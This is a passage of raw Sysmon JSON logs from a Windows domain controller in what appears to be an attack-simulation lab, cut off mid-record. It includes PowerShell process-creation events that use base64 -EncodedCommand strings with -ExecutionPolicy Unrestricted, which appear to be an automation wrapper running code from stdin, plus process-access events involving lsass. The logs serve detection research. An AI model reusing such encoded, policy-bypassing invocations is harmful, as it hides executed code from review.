{90617006-413F-5F2D-0000-00108F760600}\r\nProcessId: 4408\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_3ra4pxgm.1wd.ps1\r\nCreationUtcTime: 2020-08-07 11:55:43.147","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.147","ProcessGuid":"{90617006-413F-5F2D-0000-00108F760600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_3ra4pxgm.1wd.ps1","CreationUtcTime":"2020-08-07 11:55:43.147","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.194\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00108F760600}\r\nTargetProcessId: 4408\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.194","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00108F760600}","TargetProcessId":"4408","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.194\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-00108F760600}\r\nTargetProcessId: 4408\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.194","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-00108F760600}","TargetProcessId":"4408","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.249\r\nProcessGuid: {90617006-413F-5F2D-0000-001069820600}\r\nProcessId: 4248\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413F-5F2D-0000-0020D2720600}\r\nLogonId: 0x672D2\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-413F-5F2D-0000-00108F760600}\r\nParentProcessId: 4408\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.249","ProcessGuid":"{90617006-413F-5F2D-0000-001069820600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-413F-5F2D-0000-00108F760600}","ParentProcessId":"4408","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-00108F760600}\r\nSourceProcessId: 4408\r\nSourceThreadId: 4892\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c992ed6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bdf4817(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be52ce6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be361dc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be28161(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34694(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34287(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.n